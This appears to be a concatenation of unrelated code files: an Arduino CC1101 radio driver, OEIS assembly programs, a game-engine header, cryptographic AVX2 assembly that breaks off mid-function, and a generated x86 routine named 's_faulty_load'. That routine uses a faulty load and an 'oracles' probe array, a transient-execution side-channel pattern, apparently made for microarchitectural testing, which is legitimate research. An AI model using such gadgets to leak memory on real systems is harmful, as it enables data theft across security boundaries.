//return the result
return rmse;
} |
/*
/*
This library was originally copyright of Michael at elechouse.com but permision was
granted by Wilson Shen on 2016-10-23 for me (Simon Monk) to uodate the code for Arduino 1.0+
and release the code on github under the MIT license.
Wilson Shen <elechouse@elechouse.com> 23 October 2016 at 02:08
To: Simon Monk
Thanks for your email.
You are free to put it in github and to do and change.
On Oct 22, 2016 10:07 PM, "Simon Monk" <srmonk@gmail.com> wrote:
Hi,
I'm Simon Monk, I'm currently writing the Electronics Cookbook for O'Reilly. I use your
ELECHOUSE_CC1101 library in a 'recipe'. Your library is by far the easiest to use of
the libraries for this device, but the .h and .cpp file both reference WProgram.h which
as replaced by Arduino.h in Arduino 1.0.
Rather than have to talk my readers through applying a fix to your library, I'd like
your permission to put the modified lib into Github and add an example from the book.
I would of course provide a link to your website in the book and mention that you can buy
the modules there. If its ok, I'd give the code an MIT OS license, to clarify its use.
Thanks for a great library,
Kind Regards,
Simon Monk.
*/
#include <ELECHOUSE_CC1101.h>
#include <Arduino.h>
/****************************************************************/
#define WRITE_BURST 0x40 //write burst
#define READ_SINGLE 0x80 //read single
#define READ_BURST 0xC0 //read burst
#define BYTES_IN_RXFIFO 0x7F //byte number in RXfifo
/****************************************************************/
byte PaTabel[8] = {0x60 ,0x60 ,0x60 ,0x60 ,0x60 ,0x60 ,0x60 ,0x60};
/****************************************************************
*FUNCTION NAME:SpiInit
*FUNCTION :spi communication initialization
*INPUT :none
*OUTPUT :none
****************************************************************/
void ELECHOUSE_CC1101::SpiInit(void)
{
// initialize the SPI pins
pinMode(SCK_PIN, OUTPUT);
pinMode(MOSI_PIN, OUTPUT);
pinMode(MISO_PIN, INPUT);
pinMode(SS_PIN, OUTPUT);
// enable SPI Master, MSB, SPI mode 0, FOSC/4
SpiMode(0);
}
/****************************************************************
*FUNCTION NAME:SpiMode
*FUNCTION :set spi mode
*INPUT : config mode
(0<<CPOL) | (0 << CPHA) 0
(0<<CPOL) | (1 << CPHA) 1
(1<<CPOL) | (0 << CPHA) 2
(1<<CPOL) | (1 << CPHA) 3
*OUTPUT :none
****************************************************************/
void ELECHOUSE_CC1101::SpiMode(byte config)
{
byte tmp;
// enable SPI master with configuration byte specified
SPCR = 0;
SPCR = (config & 0x7F) | (1<<SPE) | (1<<MSTR);
tmp = SPSR;
tmp = SPDR;
}
/****************************************************************
*FUNCTION NAME:SpiTransfer
*FUNCTION :spi transfer
*INPUT :value: data to send
*OUTPUT :data to receive
****************************************************************/
byte ELECHOUSE_CC1101::SpiTransfer(byte value)
{
SPDR = value;
while (!(SPSR & (1<<SPIF))) ;
return SPDR;
}
/****************************************************************
*FUNCTION NAME: GDO_Set()
*FUNCTION : set GDO0,GDO2 pin
*INPUT : none
*OUTPUT : none
****************************************************************/
void ELECHOUSE_CC1101::GDO_Set (void)
{
pinMode(GDO0, INPUT);
pinMode(GDO2, INPUT);
}
/****************************************************************
*FUNCTION NAME:Reset
*FUNCTION :CC1101 reset //details refer datasheet of CC1101/CC1100//
*INPUT :none
*OUTPUT :none
****************************************************************/
void ELECHOUSE_CC1101::Reset (void)
{
digitalWrite(SS_PIN, LOW);
delay(1);
digitalWrite(SS_PIN, HIGH);
delay(1);
digitalWrite(SS_PIN, LOW);
while(digitalRead(MISO_PIN));
SpiTransfer(CC1101_SRES);
while(digitalRead(MISO_PIN));
digitalWrite(SS_PIN, HIGH);
}
/****************************************************************
*FUNCTION NAME:Init
*FUNCTION :CC1101 initialization
*INPUT :none
*OUTPUT :none
****************************************************************/
void ELECHOUSE_CC1101::Init(void)
{
SpiInit(); //spi initialization
GDO_Set(); //GDO set
digitalWrite(SS_PIN, HIGH);
digitalWrite(SCK_PIN, HIGH);
digitalWrite(MOSI_PIN, LOW);
Reset(); //CC1101 reset
RegConfigSettings(F_433); //CC1101 register config
SpiWriteBurstReg(CC1101_PATABLE,PaTabel,8); //CC1101 PATABLE config
}
/****************************************************************
*FUNCTION NAME:InitCustom
*FUNCTION :CC1101 initialization with custom freq
*INPUT :none
*OUTPUT :none
****************************************************************/
void ELECHOUSE_CC1101::InitCustom(long unsigned int freq) {
SpiInit(); //spi initialization
GDO_Set(); //GDO set
digitalWrite(SS_PIN, HIGH);
digitalWrite(SCK_PIN, HIGH);
digitalWrite(MOSI_PIN, LOW);
Reset(); //CC1101 reset
RegConfigSettingsCustom(freq); //CC1101 register config
SpiWriteBurstReg(CC1101_PATABLE,PaTabel,8); //CC1101 PATABLE config
}
/****************************************************************
*FUNCTION NAME:Init
*FUNCTION :CC1101 initialization
*INPUT :none
*OUTPUT :none
****************************************************************/
void ELECHOUSE_CC1101::Init(byte f)
{
SpiInit(); //spi initialization
GDO_Set(); //GDO set
digitalWrite(SS_PIN, HIGH);
digitalWrite(SCK_PIN, HIGH);
digitalWrite(MOSI_PIN, LOW);
Reset(); //CC1101 reset
RegConfigSettings(f); //CC1101 register config
SpiWriteBurstReg(CC1101_PATABLE,PaTabel,8); //CC1101 PATABLE config
}
/****************************************************************
*FUNCTION NAME:SpiWriteReg
*FUNCTION :CC1101 write data to register
*INPUT :addr: register address; value: register value
*OUTPUT :none
****************************************************************/
void ELECHOUSE_CC1101::SpiWriteReg(byte addr, byte value)
{
digitalWrite(SS_PIN, LOW);
while(digitalRead(MISO_PIN));
SpiTransfer(addr);
SpiTransfer(value);
digitalWrite(SS_PIN, HIGH);
}
/****************************************************************
*FUNCTION NAME:SpiWriteBurstReg
*FUNCTION :CC1101 write burst data to register
*INPUT :addr: register address; buffer:register value array; num:number to write
*OUTPUT :none
****************************************************************/
void ELECHOUSE_CC1101::SpiWriteBurstReg(byte addr, byte *buffer, byte num)
{
byte i, temp;
temp = addr | WRITE_BURST;
digitalWrite(SS_PIN, LOW);
while(digitalRead(MISO_PIN));
SpiTransfer(temp);
for (i = 0; i < num; i++)
{
SpiTransfer(buffer[i]);
}
digitalWrite(SS_PIN, HIGH);
}
/****************************************************************
*FUNCTION NAME:SpiStrobe
*FUNCTION :CC1101 Strobe
*INPUT :strobe: command; //refer define in CC1101.h//
*OUTPUT :none
****************************************************************/
void ELECHOUSE_CC1101::SpiStrobe(byte strobe)
{
digitalWrite(SS_PIN, LOW);
while(digitalRead(MISO_PIN));
SpiTransfer(strobe);
digitalWrite(SS_PIN, HIGH);
}
/****************************************************************
*FUNCTION NAME:SpiReadReg
*FUNCTION :CC1101 read data from register
*INPUT :addr: register address
*OUTPUT :register value
****************************************************************/
byte ELECHOUSE_CC1101::SpiReadReg(byte addr)
{
byte temp, value;
temp = addr|READ_SINGLE;
digitalWrite(SS_PIN, LOW);
while(digitalRead(MISO_PIN));
SpiTransfer(temp);
value=SpiTransfer(0);
digitalWrite(SS_PIN, HIGH);
return value;
}
/****************************************************************
*FUNCTION NAME:SpiReadBurstReg
*FUNCTION :CC1101 read burst data from register
*INPUT :addr: register address; buffer:array to store register value; num: number to read
*OUTPUT :none
****************************************************************/
void ELECHOUSE_CC1101::SpiReadBurstReg(byte addr, byte *buffer, byte num)
{
byte i,temp;
temp = addr | READ_BURST;
digitalWrite(SS_PIN, LOW);
while(digitalRead(MISO_PIN));
SpiTransfer(temp);
for(i=0;i<num;i++)
{
buffer[i]=SpiTransfer(0);
}
digitalWrite(SS_PIN, HIGH);
}
/****************************************************************
*FUNCTION NAME:SpiReadStatus
*FUNCTION :CC1101 read status register
*INPUT :addr: register address
*OUTPUT :status value
****************************************************************/
byte ELECHOUSE_CC1101::SpiReadStatus(byte addr)
{
byte value,temp;
temp = addr | READ_BURST;
digitalWrite(SS_PIN, LOW);
while(digitalRead(MISO_PIN));
SpiTransfer(temp);
value=SpiTransfer(0);
digitalWrite(SS_PIN, HIGH);
return value;
}
/****************************************************************
*FUNCTION NAME:RegConfigSettings
*FUNCTION :CC1101 register config //details refer datasheet of CC1101/CC1100//
*INPUT :none
*OUTPUT :none
****************************************************************/
void ELECHOUSE_CC1101::RegConfigSettings(byte f)
{
SpiWriteReg(CC1101_FSCTRL1, 0x08);
SpiWriteReg(CC1101_FSCTRL0, 0x00);
switch(f)
{
case F_868:
SpiWriteReg(CC1101_FREQ2, F2_868);
SpiWriteReg(CC1101_FREQ1, F1_868);
SpiWriteReg(CC1101_FREQ0, F0_868);
break;
case F_915:
SpiWriteReg(CC1101_FREQ2, F2_915);
SpiWriteReg(CC1101_FREQ1, F1_915);
SpiWriteReg(CC1101_FREQ0, F0_915);
break;
case F_433:
SpiWriteReg(CC1101_FREQ2, F2_433);
SpiWriteReg(CC1101_FREQ1, F1_433);
SpiWriteReg(CC1101_FREQ0, F0_433);
break;
default: // F must be set
break;
}
SpiWriteReg(CC1101_MDMCFG4, 0x5B);
SpiWriteReg(CC1101_MDMCFG3, 0xF8);
SpiWriteReg(CC1101_MDMCFG2, 0x03);
SpiWriteReg(CC1101_MDMCFG1, 0x22);
SpiWriteReg(CC1101_MDMCFG0, 0xF8);
SpiWriteReg(CC1101_CHANNR, 0x00);
SpiWriteReg(CC1101_DEVIATN, 0x47);
SpiWriteReg(CC1101_FREND1, 0xB6);
SpiWriteReg(CC1101_FREND0, 0x10);
SpiWriteReg(CC1101_MCSM0 , 0x18);
SpiWriteReg(CC1101_FOCCFG, 0x1D);
SpiWriteReg(CC1101_BSCFG, 0x1C);
SpiWriteReg(CC1101_AGCCTRL2, 0xC7);
SpiWriteReg(CC1101_AGCCTRL1, 0x00);
SpiWriteReg(CC1101_AGCCTRL0, 0xB2);
SpiWriteReg(CC1101_FSCAL3, 0xEA);
SpiWriteReg(CC1101_FSCAL2, 0x2A);
SpiWriteReg(CC1101_FSCAL1, 0x00);
SpiWriteReg(CC1101_FSCAL0, 0x11);
SpiWriteReg(CC1101_FSTEST, 0x59);
SpiWriteReg(CC1101_TEST2, 0x81);
SpiWriteReg(CC1101_TEST1, 0x35);
SpiWriteReg(CC1101_TEST0, 0x09);
SpiWriteReg(CC1101_IOCFG2, 0x0B); //serial clock.synchronous to the data in synchronous serial mode
SpiWriteReg(CC1101_IOCFG0, 0x06); //asserts when sync word has been sent/received, and de-asserts at the end of the packet
SpiWriteReg(CC1101_PKTCTRL1, 0x04); //two status bytes will be appended to the payload of the packet,including RSSI LQI and CRC OK
//No address check
SpiWriteReg(CC1101_PKTCTRL0, 0x05); //whitening off;CRC Enable��variable length packets, packet length configured by the first byte after sync word
SpiWriteReg(CC1101_ADDR, 0x00); //address used for packet filtration.
SpiWriteReg(CC1101_PKTLEN, 0x3D); //61 bytes max length
}
/****************************************************************
*FUNCTION NAME:RegConfigSettingsCustom
*FUNCTION :CC1101 register config //details refer datasheet of CC1101/CC1100//
*INPUT :none
*OUTPUT :none
****************************************************************/
void ELECHOUSE_CC1101::RegConfigSettingsCustom(long unsigned int f)
{
float freq_regs_f = (float)f / 396.72852;
long unsigned int freq_regs = (long unsigned int)freq_regs_f;
SpiWriteReg(CC1101_FSCTRL1, 0x08);
SpiWriteReg(CC1101_FSCTRL0, 0x00);
// MODIFICATION: Allows for custom frequencies to my used
SpiWriteReg(CC1101_FREQ0, (byte)(freq_regs & 0xff));
SpiWriteReg(CC1101_FREQ1, (byte)(freq_regs >> 8 & 0xff));
SpiWriteReg(CC1101_FREQ2, (byte)(freq_regs >> 16 & 0xff));
SpiWriteReg(CC1101_MDMCFG4, 0x5B);
SpiWriteReg(CC1101_MDMCFG3, 0xF8);
SpiWriteReg(CC1101_MDMCFG2, 0x03);
SpiWriteReg(CC1101_MDMCFG1, 0x22);
SpiWriteReg(CC1101_MDMCFG0, 0xF8);
SpiWriteReg(CC1101_CHANNR, 0x00);
SpiWriteReg(CC1101_DEVIATN, 0x47);
SpiWriteReg(CC1101_FREND1, 0xB6);
SpiWriteReg(CC1101_FREND0, 0x10);
SpiWriteReg(CC1101_MCSM0 , 0x18);
SpiWriteReg(CC1101_FOCCFG, 0x1D);
SpiWriteReg(CC1101_BSCFG, 0x1C);
SpiWriteReg(CC1101_AGCCTRL2, 0xC7);
SpiWriteReg(CC1101_AGCCTRL1, 0x00);
SpiWriteReg(CC1101_AGCCTRL0, 0xB2);
SpiWriteReg(CC1101_FSCAL3, 0xEA);
SpiWriteReg(CC1101_FSCAL2, 0x2A);
SpiWriteReg(CC1101_FSCAL1, 0x00);
SpiWriteReg(CC1101_FSCAL0, 0x11);
SpiWriteReg(CC1101_FSTEST, 0x59);
SpiWriteReg(CC1101_TEST2, 0x81);
SpiWriteReg(CC1101_TEST1, 0x35);
SpiWriteReg(CC1101_TEST0, 0x09);
SpiWriteReg(CC1101_IOCFG2, 0x0B); //serial clock.synchronous to the data in synchronous serial mode
SpiWriteReg(CC1101_IOCFG0, 0x06); //asserts when sync word has been sent/received, and de-asserts at the end of the packet
SpiWriteReg(CC1101_PKTCTRL1, 0x04); //two status bytes will be appended to the payload of the packet,including RSSI LQI and CRC OK
//No address check
SpiWriteReg(CC1101_PKTCTRL0, 0x05); //whitening off;CRC Enable��variable length packets, packet length configured by the first byte after sync word
SpiWriteReg(CC1101_ADDR, 0x00); //address used for packet filtration.
SpiWriteReg(CC1101_PKTLEN, 0x3D); //61 bytes max length
}
/****************************************************************
*FUNCTION NAME:SendData
*FUNCTION :use CC1101 send data
*INPUT :txBuffer: data array to send; size: number of data to send, no more than 61
*OUTPUT :none
****************************************************************/
void ELECHOUSE_CC1101::SendData(byte *txBuffer,byte size)
{
SpiWriteReg(CC1101_TXFIFO,size);
SpiWriteBurstReg(CC1101_TXFIFO,txBuffer,size); //write data to send
SpiStrobe(CC1101_STX); //start send
while (!digitalRead(GDO0)); // Wait for GDO0 to be set -> sync transmitted
while (digitalRead(GDO0)); // Wait for GDO0 to be cleared -> end of packet
SpiStrobe(CC1101_SFTX); //flush TXfifo
}
/****************************************************************
*FUNCTION NAME:SetReceive
*FUNCTION :set CC1101 to receive state
*INPUT :none
*OUTPUT :none
****************************************************************/
void ELECHOUSE_CC1101::SetReceive(void)
{
SpiStrobe(CC1101_SRX);
}
/****************************************************************
*FUNCTION NAME:CheckReceiveFlag
*FUNCTION :check receive data or not
*INPUT :none
*OUTPUT :flag: 0 no data; 1 receive data
****************************************************************/
byte ELECHOUSE_CC1101::CheckReceiveFlag(void)
{
if(digitalRead(GDO0)) //receive data
{
while (digitalRead(GDO0));
return 1;
}
else // no data
{
return 0;
}
}
/****************************************************************
*FUNCTION NAME:ReceiveData
*FUNCTION :read data received from RXfifo
*INPUT :rxBuffer: buffer to store data
*OUTPUT :size of data received
****************************************************************/
byte ELECHOUSE_CC1101::ReceiveData(byte *rxBuffer)
{
byte size;
byte status[2];
if(SpiReadStatus(CC1101_RXBYTES) & BYTES_IN_RXFIFO)
{
size=SpiReadReg(CC1101_RXFIFO);
SpiReadBurstReg(CC1101_RXFIFO,rxBuffer,size);
SpiReadBurstReg(CC1101_RXFIFO,status,2);
SpiStrobe(CC1101_SFRX);
return size;
}
else
{
SpiStrobe(CC1101_SFRX);
return 0;
}
}
ELECHOUSE_CC1101 ELECHOUSE_cc1101;
|
; A308589: Number of minimal edge covers in the (2n-1)-triangular snake graph.
; Submitted by Jon Maiga
; 0,3,7,17,44,112,285,726,1849,4709,11993,30544,77790,198117,504568,1285043,3272771,8335153,21228120,54064164,137691601,350675486,893106737,2274580561,5792943345,14753573988,37574671882,95695861097,243719968064,620710469107,1580836767375
mov $3,1
lpb $0
sub $0,1
add $2,$3
sub $2,$1
add $1,$2
add $2,$3
add $3,$1
add $1,$2
lpe
mov $0,$1
|
#pragma once
// This file is generated from the Game's Reflection data
#include <cstdint>
#include <RED4ext/Common.hpp>
#include <RED4ext/REDhash.hpp>
#include <RED4ext/Types/generated/AI/CTreeNodeActionDefinition.hpp>
namespace RED4ext
{
namespace AI {
struct TreeNodeDeathDefinition : AI::CTreeNodeActionDefinition
{
static constexpr const char* NAME = "AITreeNodeDeathDefinition";
static constexpr const char* ALIAS = NAME;
};
RED4EXT_ASSERT_SIZE(TreeNodeDeathDefinition, 0x48);
} // namespace AI
} // namespace RED4ext
|
; A038990: Expansion of (1-x-x^2+2*x^3) / ((1-x)*(1+x)*(1-3*x+x^2)).
; Submitted by Jon Maiga
; 1,2,5,14,37,98,257,674,1765,4622,12101,31682,82945,217154,568517,1488398,3896677,10201634,26708225,69923042,183060901,479259662,1254718085,3284894594,8599965697,22515002498,58945041797,154320122894,404015326885,1057725857762,2769162246401,7249760881442,18980120397925,49690600312334,130091680539077,340584441304898,891661643375617,2334400488821954,6111539823090245,16000218980448782,41889117118256101,109667132374319522,287112280004702465,751669707639787874,1967896842914661157,5152020821104195598
mov $3,1
mov $4,3
lpb $0
sub $0,1
div $1,3
add $1,$3
mod $1,2
add $2,$3
add $3,$2
add $4,$1
add $3,$4
sub $3,4
lpe
mov $0,$3
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r13
push %r9
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0x105bc, %rsi
lea addresses_UC_ht+0x14e28, %rdi
nop
inc %r13
mov $56, %rcx
rep movsl
nop
nop
nop
dec %r11
lea addresses_normal_ht+0x15528, %r9
clflush (%r9)
nop
nop
nop
cmp %rsi, %rsi
mov $0x6162636465666768, %rcx
movq %rcx, %xmm6
movups %xmm6, (%r9)
and $54111, %rsi
lea addresses_WC_ht+0xd8e8, %rsi
lea addresses_UC_ht+0x19a12, %rdi
nop
nop
cmp $62813, %rax
mov $114, %rcx
rep movsw
nop
nop
dec %r13
lea addresses_D_ht+0x12ba0, %rsi
lea addresses_WT_ht+0xeb3d, %rdi
nop
nop
nop
dec %rbp
mov $30, %rcx
rep movsq
add $49093, %r13
lea addresses_A_ht+0x1a716, %rsi
lea addresses_normal_ht+0x3528, %rdi
nop
nop
nop
nop
nop
mfence
mov $108, %rcx
rep movsb
nop
nop
sub %r9, %r9
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r9
pop %r13
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r14
push %r8
push %r9
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
// Store
lea addresses_UC+0x5528, %rdx
nop
inc %r8
mov $0x5152535455565758, %r9
movq %r9, %xmm0
movups %xmm0, (%rdx)
nop
nop
nop
nop
nop
xor %r8, %r8
// REPMOV
lea addresses_WC+0x16d28, %rsi
lea addresses_A+0x18528, %rdi
clflush (%rdi)
nop
add $50101, %r14
mov $26, %rcx
rep movsw
nop
nop
add %rdi, %rdi
// Store
lea addresses_A+0x14da8, %rdi
nop
nop
nop
cmp $4855, %r9
movb $0x51, (%rdi)
nop
xor %rdi, %rdi
// Store
lea addresses_A+0x18528, %r14
nop
nop
nop
nop
cmp $37310, %rsi
mov $0x5152535455565758, %r8
movq %r8, (%r14)
nop
nop
add %r9, %r9
// Faulty Load
lea addresses_A+0x18528, %rdx
clflush (%rdx)
nop
nop
and $14347, %r9
movups (%rdx), %xmm2
vpextrq $0, %xmm2, %r14
lea oracles, %rcx
and $0xff, %r14
shlq $12, %r14
mov (%rcx,%r14,1), %r14
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %r9
pop %r8
pop %r14
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_A', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 9, 'NT': False, 'type': 'addresses_UC', 'size': 16, 'AVXalign': False}}
{'src': {'type': 'addresses_WC', 'congruent': 11, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A', 'congruent': 0, 'same': True}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_A', 'size': 1, 'AVXalign': True}}
{'OP': 'STOR', 'dst': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_A', 'size': 8, 'AVXalign': False}}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_A', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_WC_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 11, 'NT': False, 'type': 'addresses_normal_ht', 'size': 16, 'AVXalign': False}}
{'src': {'type': 'addresses_WC_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}}
{'src': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 0, 'same': True}}
{'src': {'type': 'addresses_A_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 11, 'same': False}}
{'58': 21829}
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58
*/
|
default rel
%define XMMWORD
%define YMMWORD
%define ZMMWORD
section .text code align=64
global rsaz_1024_sqr_avx2
ALIGN 64
rsaz_1024_sqr_avx2:
mov QWORD[8+rsp],rdi ;WIN64 prologue
mov QWORD[16+rsp],rsi
mov rax,rsp
$L$SEH_begin_rsaz_1024_sqr_avx2:
mov rdi,rcx
mov rsi,rdx
mov rdx,r8
mov rcx,r9
mov r8,QWORD[40+rsp]
lea rax,[rsp]
push rbx
push rbp
push r12
push r13
push r14
push r15
vzeroupper
lea rsp,[((-168))+rsp]
vmovaps XMMWORD[(-216)+rax],xmm6
vmovaps XMMWORD[(-200)+rax],xmm7
vmovaps XMMWORD[(-184)+rax],xmm8
vmovaps XMMWORD[(-168)+rax],xmm9
vmovaps XMMWORD[(-152)+rax],xmm10
vmovaps XMMWORD[(-136)+rax],xmm11
vmovaps XMMWORD[(-120)+rax],xmm12
vmovaps XMMWORD[(-104)+rax],xmm13
vmovaps XMMWORD[(-88)+rax],xmm14
vmovaps XMMWORD[(-72)+rax],xmm15
$L$sqr_1024_body:
mov rbp,rax
mov r13,rdx
sub rsp,832
mov r15,r13
sub rdi,-128
sub rsi,-128
sub r13,-128
and r15,4095
add r15,32*10
shr r15,12
vpxor ymm9,ymm9,ymm9
jz NEAR $L$sqr_1024_no_n_copy
sub rsp,32*10
vmovdqu ymm0,YMMWORD[((0-128))+r13]
and rsp,-2048
vmovdqu ymm1,YMMWORD[((32-128))+r13]
vmovdqu ymm2,YMMWORD[((64-128))+r13]
vmovdqu ymm3,YMMWORD[((96-128))+r13]
vmovdqu ymm4,YMMWORD[((128-128))+r13]
vmovdqu ymm5,YMMWORD[((160-128))+r13]
vmovdqu ymm6,YMMWORD[((192-128))+r13]
vmovdqu ymm7,YMMWORD[((224-128))+r13]
vmovdqu ymm8,YMMWORD[((256-128))+r13]
lea r13,[((832+128))+rsp]
vmovdqu YMMWORD[(0-128)+r13],ymm0
vmovdqu YMMWORD[(32-128)+r13],ymm1
vmovdqu YMMWORD[(64-128)+r13],ymm2
vmovdqu YMMWORD[(96-128)+r13],ymm3
vmovdqu YMMWORD[(128-128)+r13],ymm4
vmovdqu YMMWORD[(160-128)+r13],ymm5
vmovdqu YMMWORD[(192-128)+r13],ymm6
vmovdqu YMMWORD[(224-128)+r13],ymm7
vmovdqu YMMWORD[(256-128)+r13],ymm8
vmovdqu YMMWORD[(288-128)+r13],ymm9
$L$sqr_1024_no_n_copy:
and rsp,-1024
vmovdqu ymm1,YMMWORD[((32-128))+rsi]
vmovdqu ymm2,YMMWORD[((64-128))+rsi]
vmovdqu ymm3,YMMWORD[((96-128))+rsi]
vmovdqu ymm4,YMMWORD[((128-128))+rsi]
vmovdqu ymm5,YMMWORD[((160-128))+rsi]
vmovdqu ymm6,YMMWORD[((192-128))+rsi]
vmovdqu ymm7,YMMWORD[((224-128))+rsi]
vmovdqu ymm8,YMMWORD[((256-128))+rsi]
lea rbx,[192+rsp]
vmovdqu ymm15,YMMWORD[$L$and_mask]
jmp NEAR $L$OOP_GRANDE_SQR_1024
ALIGN 32
$L$OOP_GRANDE_SQR_1024:
lea r9,[((576+128))+rsp]
lea r12,[448+rsp]
vpaddq ymm1,ymm1,ymm1
vpbroadcastq ymm10,QWORD[((0-128))+rsi]
vpaddq ymm2,ymm2,ymm2
vmovdqa YMMWORD[(0-128)+r9],ymm1
vpaddq ymm3,ymm3,ymm3
vmovdqa YMMWORD[(32-128)+r9],ymm2
vpaddq ymm4,ymm4,ymm4
vmovdqa YMMWORD[(64-128)+r9],ymm3
vpaddq ymm5,ymm5,ymm5
vmovdqa YMMWORD[(96-128)+r9],ymm4
vpaddq ymm6,ymm6,ymm6
vmovdqa YMMWORD[(128-128)+r9],ymm5
vpaddq ymm7,ymm7,ymm7
vmovdqa YMMWORD[(160-128)+r9],ymm6
vpaddq ymm8,ymm8,ymm8
vmovdqa YMMWORD[(192-128)+r9],ymm7
vpxor ymm9,ymm9,ymm9
vmovdqa YMMWORD[(224-128)+r9],ymm8
vpmuludq ymm0,ymm10,YMMWORD[((0-128))+rsi]
vpbroadcastq ymm11,QWORD[((32-128))+rsi]
vmovdqu YMMWORD[(288-192)+rbx],ymm9
vpmuludq ymm1,ymm1,ymm10
vmovdqu YMMWORD[(320-448)+r12],ymm9
vpmuludq ymm2,ymm2,ymm10
vmovdqu YMMWORD[(352-448)+r12],ymm9
vpmuludq ymm3,ymm3,ymm10
vmovdqu YMMWORD[(384-448)+r12],ymm9
vpmuludq ymm4,ymm4,ymm10
vmovdqu YMMWORD[(416-448)+r12],ymm9
vpmuludq ymm5,ymm5,ymm10
vmovdqu YMMWORD[(448-448)+r12],ymm9
vpmuludq ymm6,ymm6,ymm10
vmovdqu YMMWORD[(480-448)+r12],ymm9
vpmuludq ymm7,ymm7,ymm10
vmovdqu YMMWORD[(512-448)+r12],ymm9
vpmuludq ymm8,ymm8,ymm10
